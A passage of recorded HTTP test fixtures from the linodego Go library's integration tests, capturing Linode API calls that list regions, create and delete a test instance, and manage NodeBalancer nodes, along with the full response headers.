'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017186 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestNodeBalancerNodes_ListMultiplePagesInstance.yaml000066400000000000000000000763411474652371000367260ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-1l13u34dj0tj","root_pass":"]|CCLVd0!1-[Xne1=?g93xnXi2n6+eDc)e}k{U380Yp1T;o#109PB''J7fWnLX8\\[","image":"linode/debian9","firewall_id":640280,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61169923, "label": "go-test-ins-1l13u34dj0tj", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.55.138"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "3cea0f3e7e25a8eb97340be86615d802453acd3a", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "790" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61169923/ips method: POST response: body: '{"address": "192.168.132.168", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 61169923, "region": "ap-west", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "205" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.132.168:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767858/configs/1266887/nodes method: POST response: body: '{"id": 2051557833, "address": "192.168.132.168:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1266887, "nodebalancer_id": 767858}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767858/configs/1266887/nodes?page=1 method: GET response: body: '{"data": [{"id": 2051557833, "address": "192.168.132.168:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1266887, "nodebalancer_id": 767858}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "233" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767858/configs/1266887/nodes/2051557833 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61169923 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter 